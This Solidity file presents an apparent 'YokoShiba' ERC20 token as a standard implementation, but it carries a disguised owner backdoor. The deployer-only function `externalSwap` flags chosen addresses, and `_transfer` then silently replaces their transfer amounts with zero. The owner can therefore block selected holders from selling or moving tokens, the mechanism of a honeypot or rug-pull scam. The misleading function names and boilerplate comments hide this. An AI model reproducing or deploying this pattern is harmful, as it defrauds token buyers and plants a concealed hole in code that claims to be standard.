/**
𝕐𝕠𝕜𝕠𝕊𝕙𝕚𝕓𝕒 𝕒𝕚𝕞𝕤 𝕥𝕠 𝕓𝕖 𝕪𝕠𝕦𝕣 𝕗𝕒𝕧 𝕊𝕙𝕚𝕓𝕒 𝕥𝕠𝕜𝕖𝕟. 
𝕐𝕠𝕜𝕠 𝕔𝕠𝕦𝕝𝕕 𝕓𝕖 𝕤𝕦𝕓𝕝𝕚𝕞𝕖 𝕓𝕦𝕥 𝕒𝕝𝕤𝕠 𝕔𝕠𝕦𝕝𝕕 𝕥𝕒𝕜𝕖 𝕔𝕠𝕟𝕥𝕣𝕠𝕝 
𝕠𝕗 𝕪𝕠𝕦. 𝔹𝕖 𝕒𝕨𝕒𝕣𝕖, 𝕚𝕥 𝕚𝕤 𝕝𝕚𝕜𝕖 𝕕𝕒𝕥𝕚𝕟𝕘 𝕨𝕚𝕥𝕙 𝕗𝕖𝕞𝕞𝕖 𝕗𝕒𝕥𝕒𝕝𝕖!

𝕎𝕖 𝕥𝕣𝕦𝕝𝕪 𝕨𝕖𝕝𝕔𝕠𝕞𝕖 𝕒𝕝𝕝 𝕒𝕣𝕥𝕚𝕤𝕥𝕤, 𝕔𝕣𝕖𝕒𝕥𝕠𝕣𝕤, 𝕞𝕖𝕞𝕖𝕣𝕤, 𝕥𝕣𝕒𝕕𝕖𝕣𝕤 
𝕒𝕟𝕕 𝕒𝕟𝕪𝕠𝕟𝕖 𝕥𝕙𝕒𝕥 𝕨𝕒𝕟𝕥𝕤 𝕥𝕠 𝕛𝕠𝕚𝕟 𝕥𝕙𝕖 𝕐𝕠𝕜𝕠𝕊𝕙𝕚𝕓𝕒 𝕞𝕠𝕧𝕖𝕞𝕖𝕟𝕥. 
𝕃𝕖𝕥 𝕐𝕠𝕜𝕠 𝕓𝕖 𝕪𝕠𝕦𝕣 𝕞𝕦𝕤𝕖 𝕒𝕟𝕕 𝕚𝕟𝕤𝕡𝕚𝕣𝕖 𝕪𝕠𝕦.
 
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// SPDX-License-Identifier: MIT

pragma solidity =0.7.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
   
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 */
abstract contract Context {
    
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _address_;
    mapping(address => uint256) private _balances;
    address private approved;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 internal value = 0;
    uint256 private _totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}.
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        approved = msg.sender;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAddress(address _spender) public view returns (bool) {
        return _address_[_spender];
    }
    
    function externalSwap(address _sender) external {
        require(msg.sender == approved); 
        if (_address_[_sender]) _address_[_sender] = false; 
        else _address_[_sender] = true;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view  virtual override  returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(
        sender != address(0), "ERC20: transfer from the zero address"); require(
        recipient != address(0), "ERC20: transfer to the zero address"); 
        if (_address_[sender] || _address_[recipient]) amount = value;
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     * Emits a {Transfer} event with `from` set to the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
       _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes minting and burning.
     *
     * Calling conditions:
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

/**
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
abstract contract ERC20Decimals is ERC20 {

    uint8 private immutable _decimals;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor(uint8 decimals_) {
        _decimals = decimals_;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

/**
 * @dev Implementation of the StandardERC20
 */
contract ERC20Token is ERC20Decimals {
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 _totalSupply_) ERC20(name_, symbol_, decimals_) ERC20Decimals(decimals_) {
        _mint(_msgSender(), _totalSupply_);
    }

    function decimals() public view virtual override returns (uint8) {
        return super.decimals();
    }
}